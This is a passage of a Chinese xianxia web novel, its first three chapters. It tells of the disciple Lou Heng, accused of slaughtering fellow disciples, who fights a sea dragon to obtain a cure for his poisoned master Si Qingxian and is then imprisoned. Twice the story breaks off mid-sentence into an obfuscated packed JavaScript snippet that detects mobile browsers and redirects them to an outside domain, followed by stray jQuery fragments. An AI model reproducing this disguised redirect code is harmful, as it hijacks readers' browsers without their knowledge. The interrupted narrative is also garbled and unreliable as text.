《美人师尊秀色可餐》
1. 第一章
传闻司渊仙尊千年来只收过一个徒弟,这个孩子既不是仙家门派最仙根净慧的,也不是神族遗留的后人,他甚至连仙根都只有一半,却做了玉阙真人的亲传弟子。
那可是素有‘琨玉秋霜,仙姿佚貌’的司渊仙尊啊!
多少人挤破脑袋想做他的徒弟,可惜蓬莱山在海面孤岛上,平日很难有机会去蓬莱一睹仙尊风姿,蓬莱规矩虽不多,但对嫡系弟子只讲究一个‘缘’字。
凡是不合尊者眼缘的学子,连参加试炼的资格都没有,更别提进入蓬莱大殿与司渊仙尊见上一面,这简直是痴心妄想。
某一日仙界多了一桩奇事,美如谪仙的司渊仙尊竟然收徒了?!听说还是个生得不太好看的小瞎子。
不太好看……的……小瞎子……
短短几个字让仙界众人心碎成渣渣,仙尊宁愿收一个瞎子当徒弟,也不愿多看他们一眼,这简直比杀了他们还难受。
时至今日已过去十余年,仙界众人刚接受了司渊仙尊已有了闭门弟子的事实。
蓬莱山又传出来一桩震天惊地的消息,‘蓬莱山七千弟子一夜之间半数被抽去仙骨,凶手竟是司渊仙尊座下弟子:楼珩,他亲手屠了专门负责收集天地灵气的两个门派,‘诸抚派和虞山派’,夺其仙根灵力,朝东海逃去了。’
什么?!
小瞎子屠杀同门师兄师姐,重伤师尊司青衔,偷了妙丹阁成千上万的仙草灵丹,把整个蓬莱搞得鸡飞狗跳,现在还逃去了东海?!
此时蓬莱其余弟子正在不周山附近的镇子游历,对蓬莱山的血案丝毫不知。
好巧不巧,他们歇脚的酒楼正是清枫派门下酒楼之一,楼里的说书人正夸大其词的谈起楼珩杀人一事。
“说起这司渊仙尊的首徒,也是唯一的弟子,司渊仙尊可谓是百般疼爱,千般宠溺,恨不得把九霄明月、碧苍星辰都双手奉上,故而将这楼珩养成骄纵霸道的性子,三年前他砸了第一门派的盘龙柱,大言不惭道蓬莱才是仙界第一,要在试炼大会上挑战所有门派的弟子,扬言要把所有门派的弟子都踩在脚下,谁能想到独受仙尊宠爱的小徒弟竟然会血屠诸抚派和虞山派,重伤司渊仙尊……”
听到说书人大篇长论的诋毁后,桑宁不可置信地看向说书人,她激动的站起来,手边的杯子被她顺手扔出去,“不是,楼珩就这么干脆利落逃走了?!绝对不可能!楼师兄他绝不会杀同门手足,你们竟敢空口无凭污蔑好人,本姑娘今日就把你们的舌头拔了,看你们怎么乱嚼舌根!”
还没等桑宁出手,旁边的青衣女子就已经将手中筷子掷了出去,竹筷狠狠扎进说书人拿扇子的左手。
说书人一声惨嚎,周围清枫派的弟子瞬间围过来,他们手中的双刃刀泛着冷光,为首的是清枫派掌门首徒:轩芢道。
他手中的双刃刀对准青衣女子,目光冰冷阴毒,“听闻蓬莱派素来是仙界翘楚,司渊仙尊坐镇蓬莱,竟教出你们这些狂悖放肆之徒。”
青衣女子翻手召唤出灵器‘玉烛烬’,一柄鎏银玉伞从天而降,青衣女子一手撑伞站在轩芢道面前,她的面容清冷,周身涌现极强的灵力,掀了掀眼皮,眸底闪过一丝不屑,朱唇轻启:“你不过是刚修成仙身的小子,也敢与我叫嚣?玉烛烬,断——”
玉烛烬闪出一道白光,众人被白光刺得连连后退。
轩芢道左手的双刃刀瞬间被斩断一截,紧接着他被一股深厚的灵力震得后退几步,他不可置信的看着神情冷漠的青衣女子,道:“玉烛烬燃尽天下神兵利器,你就是蓬莱最年轻的上仙——云晚苓!你不是闭关多年,怎会轻易离开天脊山。”
清枫派弟子议论纷纷,恨不得贴上去看清楚云晚苓的长相。
青衣女子摘下斗笠,柳叶长眉,杏眼琼鼻,白玉无瑕的面容最显眼的是眉间一点红,像是朱砂点在眉心,隐隐生出几分神性,眉眼间皆是悲悯众生的慈念,可仔细一瞧这姑娘简直是天脊雪山上千年不化的冷雪,令人丝毫不敢亵渎。
“云晚苓?她不是闭关十余年了,那真的是玉烛烬!”
“她生得好美,就连灵器都是东海最凶猛的蛟龙骨制成,天下罕见的一品灵器今儿让我见到了!”
“这蓬莱真是藏了不少好宝贝,连个弟子都能用一品灵器,你们说这杀人凶手用的是几品灵器?”
轩芢道面若寒霜的冷哼一声,收起双刃刀,左手在空中画符咒传音,“蓬莱山大师姐云晚苓就在不周山西边镇子,尔等速速前往东海捉拿楼珩,他若是反抗不从,打断手脚带回三十六重天,玉阙真人元神受损,蓬莱遭此横祸都是这个孽障所为。”
云晚苓一抬手,轻松破了轩芢道的术法,她清冷的面容露出一丝讥笑,“不劳轩公子多管闲事,我蓬莱之事自有长老处理,你是打哪儿来的东西,也配过问我蓬莱弟子,且不说楼珩是否杀人,即便他杀了,也该滚回蓬莱的思过崖,与卿何干?”
桑宁一脸崇拜地看着秉公直言的大师姐,恨不得冲上去亲她十口八口,她一看轩芢道脸色阴沉就立马叉腰骂回去,“就是,你一个小小清枫派,屁事不少,什么都管,显着你们了?”
清枫派掌门悉心教导的弟子终究抵不过蓬莱最有天赋的女上仙。
他们一群人也没能拦住云晚苓,甚至连她三成灵力都比不上,真是丢人丢到家了。
轩芢道输得彻底,面子里子丢了个干净,他恶狠狠的看着蓬莱弟子离去的背影,暗自发誓有朝一日定要讨回今日之耻。
与此同时,各仙家门派未经三十六重天允许就私发通缉令,派出的弟子得到的命令只有一条,‘孽徒楼珩屠戮同门重伤玉阙真人,见者杀无赦,取其性命者赐千年修为、百年阴德,渡劫化仙荣登大殿。’
此话一出,众弟子蠢蠢欲动,比起对仙草灵丹的吸引,他们更好奇令整个仙界虎视眈眈的‘孽徒楼珩’究竟是何人。
前往东海的路上,千机门的弟子忍不住讨论起楼珩的身世。
“玉阙真人收徒那年我才十五,连参加蓬莱试炼的资格都没有,真想一睹玉阙真人的爱徒啊。”
“楼珩他拜入玉阙真人门下时才七岁,那可是连试炼都没有参加,听说仙尊带他回蓬莱的时候,他是个瞎子。”
“何止啊,那小瞎子连仙根都是残缺的,仙尊非但没有嫌弃,还亲自为他炼制灵丹,白白搭进去千年修为才修复了那小瞎子的仙根。”
众人赶到东海的时候,只见一袭白衣正在巨浪滔天的东海之上与一头凶神恶煞的蛟龙缠斗,蛟龙身中数箭却仍在与白衣少年拼死一搏。
蛟龙身长数百米,硕大的龙眼闪过一道金光,背上的鳞片被灵力毁去大半,它发出阵阵嘶吼,而后呕出一口黑血,像是下定了某种决心,要与白衣少年生死一战。
“既然你报了必死的心,那我便成全你。”
白衣少年不再手下留情,他捏诀唤出自己袖间藏萤火镖在蛟龙四周盘旋,每一招一式都干脆利落,他下手一向狠厉,从不留半分生路。
蛟龙身上的黑血溅在白衣少年的脸上,白衣少年侧首看了眼远处御剑而来的众人,唇角一扬,“来得倒是很快。”
昆仑山的弟子大多都认识楼珩,为首之人乃是舜之帝君座下弟子——迟绪,他与楼珩自幼相识,自然不信楼珩会是欺师灭祖,屠戮同门的孽徒。
他抬手用灵力压制了昆仑山弟子手中的灵器和暗器,想起今日是奉命前来活捉罪仙楼珩,眉头一皱,“今日昆仑山不能动手,若是有人私自出手伤了楼珩,帝君定会责罚,至于是鞭刑还是蹲水牢,那可就不好说了。”
其余门派都不敢吭声,并非是礼让昆仑,就是单纯打不过而已。
只有清枫派弟子不管不顾的冲上去,提剑刺向白衣少年的左肩,血从剑口渗出染红了衣裳,白衣少年翻手一掌将清枫派弟子打出结界。
“混账东西,坏我好事。”
掉进东海的一刹那,清枫派弟子终于看清了白衣少年的模样,楼珩此刻蹙眉凝视着冥顽不灵的蛟龙,眼尾波动,丰神俊朗的面容稍显凝重,如
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799303|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瀑的青丝披散在身侧。
远远望去,薄纱白衣的少年伫立在云端,琉璃发簪上坠了几颗南海珍珠,长袍下摆的鎏银云纹在阳光映照下熠熠生辉。
“不愧是有‘积石如玉,列松如翠,郎艳独绝,世无其二’美名的楼公子,当真是生了副好皮囊。”
清枫派弟子痴迷地看着与蛟龙厮杀的楼珩,心想能亲眼看见这三界称得上神仙玉骨的楼珩,死在东海也值了。
“既然你有意为难,那我便不再手下留情了。”
楼珩驱动周身灵力,借天地之力令东海波涛翻涌,无数水滴凝聚成水箭围绕着那条身负重伤的蛟龙,修长的手掐诀施法,对蛟龙进行最后致命一击。
蛟龙最终精疲力尽瘫在结界中动弹不得,楼珩并没有犹豫,直接唤出一品灵器‘辞暮’,长剑通入蛟龙的腹部,剑锋一转,整根蛟龙骨被完整取下。
精疲力尽的楼珩抬手将‘辞暮’召回,而蛟龙骨则缓缓飘到迟绪面前,迟绪看着眼前这一截血迹未干的蛟龙骨,连话都说不利索了,“楼珩,你这是做什么?”
楼珩将腰间香囊扯下来,他到现在意识还是恍惚不清,但好在灵力没有被封,他能在中了‘雪上一枝嵩’后还不忘了给师尊寻药,硬撑到现在已经是罕见。
他犹豫许久才将香囊递过去,嘱咐道:
“迟绪,师尊中了七绝断魂散,香囊里有药方,蛟龙骨是最后一味药,我已经回不去蓬莱了,还望舜之帝君一定要让师尊服下解药,此毒在六荒之外,制毒者恐怕不在三界内,诸事小心,今后仙界怕是不得安宁了。”
迟绪听得一头雾水,本想再多问几句,奈何神界的九冥尊者比他的动作快上许多。
一道紫光映亮了半边天,一众身披斗篷的仙者站在高空对楼珩施法,缚仙链自他们宽袖中飞出,缚仙链上的铁环紧紧扣住楼珩的手脚,缚仙链能锁住仙者周身法力,一旦锁住灵力全失就和凡人一样。
为首的九冥轻蔑的眼神落在被阵法强行压制不得不跪下的楼珩,脸上浮现出嘲弄的笑容。
“上次见面我记得司青衔为了你与本君动手,他是三界第一的司渊仙尊,本君自然不能跟他计较,可你,不过连半仙都不是的废物,有什么资格直视本君?司渊他的眼光是越来越差了。”
楼珩抬手擦干净嘴边的血迹,冷笑道:“区区一个半神又有什么资格站在我面前?”
话音刚落,辞暮就横空出现在九冥身后,伴随着剑鸣声,一阵巨大的法力压制逼得九冥不得不后退几步,挥袖避开了狠厉的剑气。
“不知深浅的东西,把他带回三十六重天,先关几天水牢,让他吃点苦头。”
楼珩只掀起眼皮淡淡的看了一眼仙者们,方才他没有反抗,现在更不会试图逃脱,对九冥动手是因为他出口侮辱了师尊,只要他楼珩还有一口气,就决不允许任何人诋毁师尊。
现在楼珩只是忧心师尊的仙根,一旦过了时辰司青衔的仙根被毁,今后他就再也不是万人敬仰的玉阙真人了,他愿意拿这条残命去换师尊的平安。
楼珩最后看了一眼迟绪手中的蛟龙骨,他已经是活不成的人了,但师尊他绝不能出事。
“孽徒楼珩即日带回三十六重天死牢,入死牢者非死不得出。”
九冥的话音刚落,天空堆积了一层黑云,紧接着一道天雷劈了下来,奇怪的是天雷避开了楼珩的身体,正好劈在楼珩脚踝处紧扣的缚仙链上,缚仙链被劈得裂开一个小口。
楼珩轻蔑一笑,“区区天雷也配伤我?你说你跟我师尊只差在神骨神识的分毫上,可惜你的那招‘弑邪诛祟’远远比不上师尊的一剑‘渡众生’,连剑意都完全不同,你如何与师尊相提并论。”
“这不可能,怎会如此?”
九冥眼睁睁看着轰声连连的天雷全部避开了跪在地上的青年,楼珩竟然毫发无损的扛过十二道天雷,他脸上有些挂不住,挥袖将天雷召回,“罢了罢了,今日就暂时饶过这小子,带回去严刑审问到底是受何人指示。”
2. 第二章
距离蓬莱惨遭血案已经过去了整整一个月,蓬莱掌门一直不曾出面,就连司渊仙尊也闭关了。
唯一能主持大局就是昆仑虚的舜之帝君,他察觉被杀的所有弟子都被夺去了仙骨,恐怕此事非同小可。
但在司青衔醒来之前,他不能对任何人提起此事,抽取仙骨的手段太过残忍,蓬莱门中出了叛徒的可能性更大,一旦消息泄露出去,蓬莱就要面对内忧外患的局面。
舜之原本不想插手蓬莱山的事,他毕竟是昆仑山的掌门。
但司青衔他不能不管,六荒八合修成有神骨神识的上仙屈指可数,在南临真人陨落之前,仙界有六位修成神骨的上仙。
如今只剩下五位了,三十六重天的九冥帝君,蓬莱山的司渊仙尊,峨眉山的皓月长老,昆仑山舜之帝君,北海的都夷仙尊。
其中有一位携心爱之人归隐山林,再不插手仙界之事,如此仙界只余四位能渡劫成神的上仙了。
舜之帝君将昆仑山的全部仙草都摘了,薅秃了两座山才保住了那些被夺仙骨蓬莱弟子的性命。
虽是保住了性命,但没了仙身照样要被逐出仙界,直到在玉虚宗修炼出仙骨才能参加仙界的试炼大会。
三千弟子尽数被逐出蓬莱,他们最后一批刚到不周山就遇到了云晚苓一行人,云晚苓见弟子人数众多,心头一惊,直接将领队的小师弟叫住。
“等等,你们这是要去哪儿?”云晚苓手中的玉笛挡住小师弟的去路。
小师弟看清是云晚苓后先是恭敬的行礼,然后将门中发生的一切告知云晚苓。
“云师姐,事情经过就是这样,我只记得昏过去之前最后见到的人是阿珩,醒来第一眼见到的是柳师兄。”
云晚苓手中转玩的匕首应声落地,她不可置信地看向他们手腕,他们腕上的仙印果然消失了,便蹙眉道:“怎么可能是阿珩?他绝不会做出谋害同门,重伤师尊的事。”
“一定不是楼珩。”
小师弟连忙摆了摆手,他也不相信楼珩会做出这种事,他将心中疑虑告诉了云晚苓,“也有可能是别人使了易容的法术,但师尊确实命悬一线,舜之帝君留在镜花台已有月余,师尊仍不曾出面主持大局,恐怕这次祸端早有预谋,柳师兄被人挑断了手筋,到现在还拿不起剑,哎,云师姐,能不能求你帮我们找回仙骨,我修炼了这么多年,蓬莱是我毕生所求……”
云晚苓明白小师弟要说什么,她伸手拍了拍小师弟的肩,安抚道:“在弄清真相之前我不会轻易做出判断,但不论是谁夺走了你们的仙骨,我定会把仙骨拿回来,你们不会在玉虚宗待太久。”
云晚苓回门之后第一件事就是去拜见舜之帝君。
她刚到镜花台就看见舜之帝君端着杯菊花茶从侧殿走出来,连忙迎上去恭恭敬敬行了礼,焦急的问道:“舜之帝君,师尊现下伤势如何?”
舜之帝君端着瓷杯喝了几口,一口气憋在胸口堵了半晌,他真想去药王谷把谷内所有补药都拿来给司青衔补身子,奈何现下大罗神仙都救不了司青衔被魔气腐蚀的仙根,他有些头疼,无奈道:"你们师尊现在命是保住了,但环绕仙根的魔气太过强悍,就连上古神族遗留的圣物也无法完全净化,仙身恐怕会逐渐消散。"
魔气?
云晚苓并不明白舜之帝君话里的意思,她记得魔族早在千年前就被上古众神封印在最北边的沉月崖苦海之下,阵法由神族的十三件圣物和十二层封印加持形成,自盘古开天辟地以来,神族封印无人能解。
“帝君,魔族已经被封印了千年,怎么可能有魔气遗存于世,即便是有,也绝对不会有连您都解决不了的魔气。”
云晚苓隐隐觉得此事另有隐情,刹那间她敏锐的捕捉到一股浓烈的魔气环绕在镜花台,她猛地抬手朝东南方向挥袖,玉烛烬被瞬间召唤出来。
一道白光劈向前院最东边的一棵玉兰树。
玉兰树经不起一品灵器的强大灵力,整棵树拦腰而断,皎白的玉兰花被震落了大半,一股冷风吹散了地上的花瓣。
云晚苓一眼就看出玉兰树树根的位置有一处凸起,她挥袖劈断树根,有一个巴掌大小的黑檀木盒半掩在土里,云晚苓看到木盒上符咒,是她从没见过的符咒,“这是何物?”
舜之帝君走近看清了符咒最上方模糊的印记,如果他没有记错的话,那是千年前魔尊出现在苍山北海时,魔尊与神族拼死一搏时额间出现的血红的印记,他盯着符咒上的印记,自言自语道:
“这是魔族的至阴之物,上面符咒的印记跟三千年前魔尊额间的印记一模一样。”
舜之帝君一时拿捏不准这东西的来历,只好先将它封在蓬莱后山的阵法中,他刚将封印又加了一层结界,昆仑弟子就传来音讯,“楼珩十日后要被关进蚀魂阵,直到门派血案查出真凶。”
舜之帝君刚跟云晚苓交代清楚诸抚派和虞山派的具体细节,一道清冷如玉的声音打断了二人的谈话。
“这玉兰树是阿珩亲手种的。“
一袭黑袍的司青衔出现在长廊下,在墨色锦袍的衬托下,司青衔的脸色显得越发苍白,就连往日深邃漆黑的眼眸也变得黯淡无神,那张惊为天人的容貌平添几分病态。
“咳咳。”
司青衔掩唇轻咳了几声,他缓步走到二人面前,无意间瞥到被砍断的玉兰树,他没有想太多,只当是楼珩又发脾气了。
一旁的云晚苓瞧着司青衔经不住风的身子骨,眼眶瞬间泛红,短短半年时间,蓬莱竟发生如此巨变。
师尊一向是长身玉立的仙人,如同镜花台后山的竹林一样坚韧,蓬莱这千年经历了太多的事情,可每次大大小小的祸事都有师尊兜底。
蓬莱弟子虽不是最天资聪颖的,但一惯是最不知天高地厚的,就连神君都敢轻易得罪,最重要的原因不过是司青衔一向护短又偏疼小辈。
云晚苓从未见过师尊如此虚弱的样子,像是轻飘飘的柳絮被风吹起,拂过山川的时候连一丝痕迹都不会留下,仿佛比纸还要单薄几分。
她立马召回玉烛烬,在司青衔面前恭恭敬敬的行礼,“师尊,您的伤势还未痊愈……”
司青衔掀起眼皮,深深地看了一眼被砍断的玉兰树,叹息道:“阿珩他很久没有跟本尊一起在玉兰树下饮酒作诗,我前些时日诸多琐事,冷落了他,不知道阿珩是不是还在生我的气。”
“你那小徒弟脾气确实不小,但也不至于如此记仇吧?”舜之帝君随口打趣道。
一阵冷冽的北风吹过,司青衔只觉喉间钝痛,他强忍着身体的不适,缓步走到玉兰树前,弯腰拾起几片泛黄的花瓣。
他记得楼珩只喜欢玉兰花和竹林,所以他亲自在镜花台后山种了一整片竹林。
楼珩很喜欢,喜欢到每日都去竹林待上一个时辰,日后恐怕再也见不到阿珩在竹林里练剑的身影了。
司青衔是无极真人最得意的学生。
无极真人所修的无情道已经是登峰造极的境地,故而司青衔的无情道修得也算合格。
没有遇到楼珩之前,司青衔对待苍生皆是怜悯,但绝不会插手凡人的生死轮回,更不会生出恻隐之心,凭一己好恶扰乱世间因果。
是楼珩的出现彻底改变了司青衔。
一颗千年未动的凡心因为楼珩而动摇,司青衔对楼珩越来越放纵,楼珩每次捅娄子闯祸都会替他撑腰兜底。
再后来,他对楼珩不仅仅是师徒之谊,从前说过的玩笑话虽藏着几分真心,但可惜真心还没说出口,他的命数就到头了。
司青衔敛眸看着自己手腕上深紫色的痕迹,每一道都像天脊山的山脉绵延不绝,恐怕今后仙界再也没有玉阙真人了。
“咳咳咳……”
司青衔猛地咳嗽起来,他用帕子掩住嘴唇,将殷红的血迹藏起来,舜之帝君早就明白司青衔的身体一日不如一日,他皱着眉抖了抖袖子,掏出一瓷瓶塞到司青衔手里,“你要是想多活几天就少作死,这药必须毒发前及时服下,不然你连命都保不住了。”
司青衔素白的手将药丸塞进嘴里,熟悉的味道弥漫在唇齿间,这一个月他喝过的药、吃过的仙草怕是数不清了,他勾了勾唇角,“这味道也太苦了,舜之,你从哪儿弄到的蛟龙骨?”
蛟龙骨。
这玩意凶残得很,舜之一想到那难缠的畜生就觉得头皮发麻,早些年他也去过东海,想取蛟龙的内丹来增进昆仑山的日月精气,可属实没想到未化形成龙的玩意也着实厉害,折损了昆仑山十四名弟子,就连他自己也没讨到好处,二品灵器被毁了个稀巴烂。
舜之帝君摸了摸下巴,试图岔开话题来掩饰自己的心虚,“你就吃吧,话这么多,是不是还不够疼,你这张嘴真是比命都硬。”
司青衔没有多想,只当舜之帝君是不好意思承认,这个问题舜之帝君并没有正面回答,多年后却成了司青衔此生最大的遗憾。
云晚苓从侧殿拿来大氅走到司青衔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799304|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身侧,替他披上了大氅,关切的问道:“师尊,现下可觉得好些了?”
舜之帝君连连摇头,如今这地步司青衔的仙体是保不住了,哪怕是无极真人出关,也很难有法子修复这副魔气环绕的仙体。
司青衔笑得勉强,眉眼间的疲倦还未退散,苍白的嘴唇轻启,“无妨,本尊还没到陨落的地步,这副残躯早就千疮百孔,哪怕保住了仙身,舜之,即便你修为散尽也是无用的。”
舜之帝君的心思被一下子猜中,他理直气壮地拍了下司青衔的肩,没好气道:“你放心,本君才不会傻到用半生修为救你这个死鸭子。”
云晚苓听得眼前模糊一片,她从没想过有朝一日师尊会陨落,师尊怎么可能会陨落?
她直接打断了舜之帝君的话,“师尊,您不会灵力散尽的,阿珩不是带回来很多很多的仙草灵药,舜之帝君医术很厉害的,您一定会好起来的。”
提到阿珩,司青衔毫无血色的脸上露出淡笑,他的小徒弟一向很是嚣张,平日他也很少责骂这孩子,任由阿珩养成无法无天的性子,就连嚣张跋扈时都映着几分自己年轻时的意气风发。
他问道:“晚苓,阿珩回来了吗?本尊为何没有见到他。”
云晚苓闻言抬眸看了舜之帝君一眼,舜之帝君皱眉摇了摇头,示意她不要说出真相,云晚苓强忍着心头的愧疚,解释道:“师尊,您忘了下个月就是仙界试炼大会,阿珩现下在昆仑山修炼呢,等他在试炼大会上一举夺魁,我就带他来见您”
说这话的时候,云晚苓不敢去看司青衔的眼睛,她从没骗过师长,现在硬着头皮对师尊撒谎实属无奈,倘若师尊知道了阿珩被关在三十六重天定会硬闯死牢,到时又会是一场腥风血雨。
“罢了,等试炼大会结束再把他带回来吧。”
司青衔拿着暖手炉回了寝殿,他狭长的瑞凤眼眼底闪过一丝失落,看来阿珩是真的生气了。
他忽然想起楼珩曾中了少量的‘雪上一枝嵩’,虽然阿珩提前服用了解百毒的仙草,但他还是担心楼珩。
司青衔停下脚步,侧首对舜之帝君叮嘱道:“舜之,阿珩的‘雪上一枝嵩’还没解,你可有解药?先给他送去吧,阿珩平时受了伤也不肯说,如今我无法离开镜花台,劳烦你多上点心,”
舜之帝君想起自己的藏丹阁还有解毒的丹药,便一口应下:“好,我等会就把药给他送去。”
三十六重天死牢——
阴暗的地牢安静得可怕,除了石洞外的雨滴声和偶尔响起的鸟叫,诺大的地牢只关了两个人,楼珩和地牢深处的黑衣男子。
楼珩见过那人一面,看不清面容,只见他满身伤痕被吊在墙上,瞧着像是还有一口气,不过也活不久了。
地牢大门‘吱——’的一声被人打开。
九冥帝君缓步穿过漆黑的走廊,在一间有小窗的牢房前停下。
细碎的阳光照进来,狭隘的房间只有一个水池和一张草席,被关了整整一个月的青年略显狼狈,凌乱的青丝散在肩前,白皙的脸庞被人刺上‘孽障’二字,白色长袍早就被血染红,就连发间的簪子都折了一截,腰间玉带也被九冥一剑斩断了。
九冥帝君捧着一碗热腾腾的粥递到被八根缚仙链锁住的青年面前,他猛地掐住青年的下巴,笑吟吟道:“楼珩,本君今日心情好,赏你一碗吃食。”
楼珩抬眼看向一脸得意的九冥帝君,哑声讽刺道:“你每日都要来地牢浪费一个时辰,何必这么折腾呢?”
“当初我弟弟求你放过他的时候,你是怎么折磨他的?楼珩,你这个畜生!”
九冥帝君脸上的笑容瞬间消失,他的弟弟被柳成荫害死,楼珩既然护着柳成荫,那他就该代人受过,不管是楼珩、司青衔、还是柳成荫,他一个都不会放过。
他手上加了两分力,逼迫楼珩张嘴喝下了那碗滚烫的粥,直到楼珩的唇边涌出鲜血,九冥帝君才放开虚弱的楼珩,言语间只有轻蔑和侮辱,“楼珩,楼闻晏,你到底有什么资格处置我弟弟?他不过是杀了几个凡俗夫子,灭了几只妖兽,何罪之有?”
楼珩听到九冥帝君毫不在意的语气,心底的怒火猛地窜起来,他直接一拳打在九冥帝君的脸上,怒吼道:“整个村子都被你的好弟弟烧了,几百条人命灰飞烟灭,可你连句斥责都没有,一句无心之失就轻轻揭过,我恨不得把他千刀万剐。”
“你这个孽障,怪不得司青衔命不久矣,都是你这个丧门星害的!”
3. 第三章
“你说什么?!”
楼珩惊愕地看向一脸得意的九冥帝君,他伸手抓住了九冥帝君的衣角,僵在脸上的表情暴露了他早已心神大乱。
他不信师尊会被七绝断魂散损伤仙根,明明有了蛟龙骨就能解毒,师尊为何还会毒气缠身?
九冥帝君听见楼珩这样诋毁自己的弟弟,恨不得立刻将他碎尸万段,奈何三十六重天还没有决断此案,他冰凉的指腹轻轻摩挲被打过的地方,犀利的目光上下打量了楼珩一番,看到楼珩惊慌失措的样子,他很是满意。
九冥帝君慢条斯理的起身,嘴角的笑容越发灿烂,“你觉得本君会欺骗你?不巧的是,本君前日恰巧得知舜之帝君把整座昆仑山的仙草都拔走熬药了,这么多灵丹妙药都治不好司青衔的仙根,你觉得你的师尊还能折腾几日?”
“……”
楼珩缓缓松开手,呆滞地看着扬长而去的九冥帝君,过了好一会儿,他才反应过来自己刚才听到的话是师尊要死了。
“帝君!帝君你说清楚,师尊他到底怎么了?!”
青年伸出骨骼分明的手在半空无助的乱抓,像是要抓住最后一根救命稻草的溺水之人,奈何救命稻草长了腿跑得又快,溺水之人险些被淹死,只好想法子自救。
得不到回应的楼珩开始想逃出去的法子,他骨节分明的手握着簪子在铁链汇集的锁头捣鼓,试图用簪子别开缚仙链,楼珩身上的铁链因为他的举动而长出倒刺,密密麻麻的小刺扎进楼珩的手腕脚踝。
青年痛得闷哼一声,但他没有停下手上的动作,他想用仅剩的两分灵力打开缚仙链简直是异想天开,楼珩一向是个聪明人,但聪明人也有犯痴的时候。
“楼闻晏,你若是逃了就坐实了你是魔族的罪名,你当真要让你师尊背上骂名吗?”
不知何时,舜之帝君站在牢房门外冷眼看着楼珩近乎疯狂的举动,心头一颤,如果他刚才没看错的话,楼珩在情急眼底闪过一道紫光,不像是仙族,与千年前就泯灭的魔族倒有些相似。
佛光为金,月光为白,魔族的眼睛与众不同,黑眸红光是普通魔族,而黑眸紫光则是有魔尊血脉,可魔尊已泯灭千年之久,怎会突然冒出个后代?!
可这孩子是司青衔的徒弟,以他的修为不可能看不出这孩子的底细,司青衔绝不会蠢到收一个魔族当首徒。
舜之帝君好不容易说服自己,只见楼珩手里的簪子被硬生生撇断,楼珩像是失了神智,竟用指尖去摁锁上的机关,机关上的银针刺穿了青年白皙的手指。
楼珩像是没看见手上有殷红的血淌下来,一心要将缚仙链打开,这股执拗劲像极了某人。
直到舜之帝君挥袖劈来一道白光,白光修复了楼珩手上的伤口,亦抹去了楼珩侧脸处被刺下的‘孽障’二字,也暂时压制了缚仙链的束缚。
楼珩这才看见牢房外的舜之帝君,他先是一愣,顾不得自己的狼狈样子,连忙问道:“帝君,师尊他的毒解了吗?”
舜之帝君的脸色复杂的看了一眼狼狈不堪的青年,放下心中戒备,将手里的食盒放在地上,“这是你师父让我带给你的,里面有‘雪上一枝嵩’的解药,还有云晚苓让我带的糕点……”
“帝君,师尊他是不是仙根受损,仙体不保了?”
楼珩打断了舜之帝君的话,他清楚帝君答非所问就是在逃避问题,那九冥帝君的话有八分真,他只想知道师尊到底是否仙根受损。
“司青衔毒倒是解了,只是魔气缠身……”
舜之帝君嘴比脑子快,直到看见楼珩黯淡失色的眼神,帝君端着梨花酥的手抖了一下,他这才反应过来自己被套了话,只好讪讪一笑,“你跟你师父简直是一个模子里刻出来的,心眼比本君还多,真是个狡诈的狐狸崽子。”
魔气缠身?!魔气从何而来,难道是在问鼎阁那一次……
楼珩心里总算是有了答案。
他抬手向舜之帝君行礼,然后端正跪在帝君面前,沉声道:“楼珩虽然不常造访帝君的恨水阁,但楼珩为人帝君应该知晓,楼珩自从被师尊带回蓬莱便如获新生,如果没有师尊,楼珩早就死在十三年前的寒冬了,楼珩自问从未做过有辱师门之事,亦不会做出欺师灭祖、伤天害理的恶事,楼珩相信三十六重天会查明真相,还我一个清白。帝君,楼珩只求您一句实话,师尊他到底怎么了?”
舜之帝君连忙弯腰将楼珩扶起来,他一想到司青衔苍白虚弱的脸色就头痛不已,但他想起来司青衔的叮嘱,只好先把楼珩的毒给解了。
他先将‘雪上一枝嵩’的解药塞到楼珩嘴里,再抬手凝聚灵力逆转楼珩体内的毒素,直到楼珩吐出一口黑血,舜之帝君见他体内的毒素已经排出才放下心来。
“司渊的仙根已经被魔气腐蚀了大半,周身灵力也在慢慢消散,恐怕时日无多,这些天我一直翻找神族医书,有一个法子记载魔气不能完全根除,但可以转移在其他仙人身上,蓬莱后山有一处禁地,禁地封印是上古神族遗留下来的,后山结界之中亦是魔尊当年施下的阵法,神族为了压制魔尊阵法,故而在阵法外设下结界,这便是后山禁地的由来。”
楼珩眼前一亮,他急切的说道:“帝君,我愿替师尊承受魔气侵体的痛苦。”
舜之帝君摇了摇头,淡淡开口,“楼珩,你现下并未修成仙体,也没有渡完上仙一劫,半副仙身远远不够,司渊身上的魔气乃是千年前魔族圣物遗留下来的,魔族圣物早被神族封印,为何会出现在三界之内,至今我也没有想明白,但有一点可以确认,八荒六合之内出现了魔族,也许是法力深不可测的魔尊后人,也许是微不足道的魔族子民,但不论是哪一种情况,这对三界来说都不是个好消息。”
楼珩眼皮一跳,记载在仙册里无恶不作的魔族竟然还有余孽?到底是谁把魔气引入问鼎阁,当日如果不是师尊,恐怕现在生不如死的人便是他了。
所以楼珩不会眼睁睁看着司青衔去死,他的师尊被奸人所害,作为弟子他必须去救,哪怕是一命换一命。
“帝君,您可有法子助我早日成仙?”
